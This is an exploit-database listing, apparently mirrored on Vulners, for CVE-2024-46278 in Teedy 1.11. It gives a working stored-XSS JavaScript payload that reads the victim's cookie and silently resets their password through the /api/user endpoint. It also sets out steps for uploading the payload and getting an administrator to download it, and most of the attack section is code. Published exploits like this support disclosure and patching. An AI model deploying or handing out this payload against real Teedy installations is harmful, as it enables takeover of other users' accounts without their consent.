Lucene search
K

Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)

🗓️ 16 Apr 2025 00:00:00Reported by Ayato Shitomi @ Fore-Z co.ltdType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 241 Views

Teedy 1.11 vulnerable to account takeover via stored XSS during file downloads; CVE-2024-46278.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-46278
7 Oct 202419:18
circl
CNNVD
Teedy 安全漏洞
7 Oct 202400:00
cnnvd
CVE
CVE-2024-46278
7 Oct 202400:00
cve
Cvelist
CVE-2024-46278
7 Oct 202400:00
cvelist
NVD
CVE-2024-46278
7 Oct 202416:15
nvd
OSV
CVE-2024-46278
7 Oct 202416:15
osv
Packet Storm
📄 Teedy 1.11 Cross Site Scripting
16 Apr 202500:00
packetstorm
Positive Technologies
PT-2024-31944 · Teedy · Teedy
6 Oct 202400:00
ptsecurity
RedhatCVE
CVE-2024-46278
23 May 202507:47
redhatcve
Vulnrichment
CVE-2024-46278
7 Oct 202400:00
vulnrichment
Rows per page
# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
# Vendor Homepage: https://teedy.io/
# Software Link: https://github.com/Tomblib0/Teedy
# Version: 1.11
# Tested on: Linux
# CVE : CVE-2024-46278

There is a vulnerability that causes XSS when downloading files.
XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.


Login as an attacker’s account.
Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.

```
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
```

Login with another account. eg. admin
Click on the file uploaded by the attacker and select Download this file.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.18.4
EPSS0.00901
SSVC
241